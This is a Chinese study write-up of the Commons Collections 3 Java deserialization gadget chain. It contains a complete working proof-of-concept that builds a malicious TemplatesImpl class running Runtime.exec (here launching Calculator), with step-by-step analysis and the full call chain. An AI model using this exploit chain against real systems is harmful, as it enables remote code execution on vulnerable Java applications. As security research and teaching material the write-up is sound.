CommonsCollection3反序列化链学习
CommonsCollection3
1、前置知识
CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类
1.1、InstantiateTransformer
构造方法传入了paramTypes(参数类型)和args(具体参数值)
transform方法,首先判断了input是不是Class类实例对象,不是的话就获取结构体创建新的实例对象
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
1.2、TrAXFilter
我们来查看其构造方法,newTransformer方法,这不就是cc2的利用链开头,他会把传入的templates去调用newTransformer方法,然后会调用getTransletInstance,然后再调用defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后_class再newInstance()实例化,而cc1链是通过InvokerTransformer的transform循环反射获取Runtime.class去RCE.
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
2、漏洞复现
2.1、poc
package com.akkacloud;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollection3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理,就会调用invocationHandler的invoke方法
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}
2.2、poc分析
2.2.1、第一段
其实就是cc2链中javassit的利用,创建一个有静态代码块(恶意代码)的CommonsCollections3Test,和设置其父类为AbstractTranslet,最后转换为字节数组,不懂的话可以详细看看cc2的前置知识的javasstis部分
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
2.2.2、第二段
也是cc2链对TemplatesImpl的利用,就是创建一个恶意加载类TemplatesImpl,并且通过反射把_bytecodes赋值为我们的恶意字节数组,并且把其_name的设置为test,因为_name在TemplatesImpl类的getTransletInstance()方法,会判断他是否为null,为null就会返回null
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
2.2.3、第三段
这个是目前跟cc1和cc2链有比较大不同的地方,使用InstantiateTransformer类和TrAXFilter类,通过前置知识我们知道TrAXFilter的构造方法会调用newTransformer方法,把我们传入的恶意TemplatesImpl实例化,具体的可以看前置知识或者cc2链TemplatesImpl学习。通过调用ChainedTransformer的transform方法,第一遍获取TrAXFilter类,第二遍通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的上一遍传入的TrAXFilter,调用其构造方法,再调用newTransform,造成RCE。接下来我们需要看其怎么获取transform方法了?
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
2.2.4、第四段
这里就是cc1链的利用,主要是通过LazyMap的decorate方法赋值我们的恶意chainedTransformer,因为LazyMap的get方法会调用transform方法。
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
2.2.5、第五段
这里也是cc1链的对应的利用,主要是反射获取AnnotationInvocationHandler类,实例化时传入我们的恶意lazyMap,然后通过动态代理传入我们的包含了lazyMap的恶意InvocationHandler,然后实例化其实就是调用其构造方法,但是无论调用什么方法都会执行动态代理的invoke方法,invoke方法中调用了get方法。然后就是cc1的AnnotationInvocationHandler的readObject---》entrySet---》invoke.
最后为什么是override.class,
因为AnnotationInvocationHandler
本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理
2.3、利用链调试
在AnnotationInvocationHandler的构造方法打下断点,发现成功的把this.memberValues设置成LazyMap
在readObject打下断点,当this.memberValues调用entrySet()时,因为lazymap是我们的代理对象,所以他执行任何方法都会执行AnnotationInvocationHandler的invoke方法
invoke方法会调用get方法。此时的this.memberValues为Lazymap,继续跟进
(问题:第一遍到invoke的this.memberValues为LinkedHashMap,然后就已经弹窗了,第二次才是lazymap,最后到defineTransletClasses,_class已经为我们用javassit创建的恶意数组类)
this.factory就是我们的chianedTransformer,继续跟进
进入后这个iTransformers[]就是传入我们恶意构造的TrAXFilter和instantiateTransformer
继续跟进transform方法,第一遍获取TrAXFilter.class
继续跟进transform方法,把TrAXFilter通过newInstance实例化
我们进入他的构造函数,templates使我们构造的恶意数组类,继续跟进
进入到newTransformer后,会调用getTransletInstance(),其实这个方法就是用来实例化传入的transformer的,继续跟进
进到getTransletInstance,发现他会调用defineTransletClasses,继续跟进
进入后就是对_class进行处理,前置知识有相关知识,处理完后回到getTransletInstance,把_class实例化,就是我们的恶意类。
2.4、利用链
AnnotationInvocationHandler.readobject
(proxy)lazyMap.entrySet
AnnotationInvocationHandler.invoke->lazyMap.get
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter(构造方法)
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
Runtime.exec()
2.5、思维导图
参考链接